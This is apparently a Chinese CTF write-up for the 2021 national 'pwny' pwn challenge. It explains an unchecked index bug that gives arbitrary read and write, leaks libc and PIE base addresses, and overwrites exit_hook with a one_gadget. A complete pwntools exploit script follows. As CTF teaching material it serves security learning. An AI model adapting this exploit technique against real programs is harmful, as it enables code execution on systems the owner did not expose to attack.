[pie+libc]national2021_pwny

[pie+libc]国赛_pwny

1. ida 分析

  1. write函数并没有对输入的index做合法性检验,第一次read函数由于fd不合法不会执行,但可以往任意地址写入一个0字符

    在这里插入图片描述

  2. fd紧接着array,可以将fd覆盖为0,可以实现任意写

    在这里插入图片描述

  3. 当fd = 0 时,通过read函数可以通过输入index执行任意读

    在这里插入图片描述

2. 思路(通过数组进行任意地址读写)

  1. 先通过write方法覆盖fd为0,就有了任意读

    def write(index):
        p.sendlineafter('Your choice: ','2')
        p.sendlineafter('Index: ',str(index))
    
    
    def read(index):
        p.sendlineafter('our choice: ','1')
        p.sendlineafter('Index: ',p64(index))
    
    write(256)
    write(256)
    
  2. 通过read方法,输入想要输出的函数的地址相对于array的偏移(按字节算),就可以泄漏libc以及pie的基址

    在这里插入图片描述

    在这里插入图片描述

    ptr = 0x202060
    stdin = 0x202030
    #泄漏libc中的函数地址
    stdin_index = (stdin - ptr)/8 #0xFFFFFFFFFFFFFFFA
    log.success('stdin_index==>'+hex(stdin_index))
    read(0xFFFFFFFFFFFFFFFA)
    p.recvuntil('Result: ')
    stdin_addr = int(p.recv(12),16)
    log.success('stdin_addr==>'+hex(stdin_addr))
    libc_base = stdin_addr - libc.sym['_IO_2_1_stdin_']
    log.success('libc_base=>'+hex(libc_base))
    one = libc_base + 0x10a428
    #泄漏程序段代码无关的地址 - 偏移就得到codebase
    unk = 0x202008
    unk_index = (unk - ptr)/8 #0xFFFFFFFFFFFFFFF5
    log.success('unk==>'+hex(unk_index))
    read(0xFFFFFFFFFFFFFFF5)
    p.recvuntil('Result: ')
    unk_addr = int(p.recv(12),16)
    log.success('unk_addr ==>'+hex(unk_addr))
    pie = unk_addr - unk
    log.success('pie==>'+hex(pie))
    
  3. 有了libc以及pie的基址,通过write中的read,就可以实现任意写,将exit_hook改成onegadge

    exit_hook = libc_base + 0x61bf60
    log.success('exit_hook=>'+hex(exit_hook))
    exit_index = (exit_hook - pie -ptr)/8
    log.success('exit_index=>'+hex(exit_index))
    gdb.attach(p)
    write(exit_index)
    p.send(p64(one))
    
    • 这里的exit_hook的地址,通过p _rtld_global找出结构体中,exit_hook的地址,可以看到在结构体的最下面

      在这里插入图片描述

    • 下面显示结构体的地址,定位到_dl_rtld_lock_recursive

      在这里插入图片描述

    • 可以看到_dl_rtld_lock_recursive,相对于_rtld_global的偏移为3840,得到_dl_rtld_lock_recursive的实际地址 - libc的基址,就能得到exit_hook在libc中的偏移

      在这里插入图片描述

  4. 程序正常exit即可触发onegadget

3. exp

from pwn import *
p = process('./pwny')
context.log_level = 'debug'
libc = ELF('./libc-2.27.so')
def write(index):
    p.sendlineafter('Your choice: ','2')
    p.sendlineafter('Index: ',str(index))


def read(index):
    p.sendlineafter('our choice: ','1')
    p.sendlineafter('Index: ',p64(index))

write(256)
write(256)

ptr = 0x202060
stdin = 0x202030
stdin_index = (stdin - ptr)/8 #0xFFFFFFFFFFFFFFFA
log.success('stdin_index==>'+hex(stdin_index))

read(0xFFFFFFFFFFFFFFFA)
p.recvuntil('Result: ')
stdin_addr = int(p.recv(12),16)
log.success('stdin_addr==>'+hex(stdin_addr))
libc_base = stdin_addr - libc.sym['_IO_2_1_stdin_']
log.success('libc_base=>'+hex(libc_base))
one = libc_base + 0x10a428
unk = 0x202008
unk_index = (unk - ptr)/8 #0xFFFFFFFFFFFFFFF6
log.success('unk==>'+hex(unk_index))

read(0xFFFFFFFFFFFFFFF5)
p.recvuntil('Result: ')
unk_addr = int(p.recv(12),16)
log.success('unk_addr ==>'+hex(unk_addr))
pie = unk_addr - unk
log.success('pie==>'+hex(pie))

exit_hook = libc_base + 0x61bf60
log.success('exit_hook=>'+hex(exit_hook))
exit_index = (exit_hook - pie -ptr)/8
log.success('exit_index=>'+hex(exit_index))
gdb.attach(p)
write(exit_index)
p.send(p64(one))

p.interactive()



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值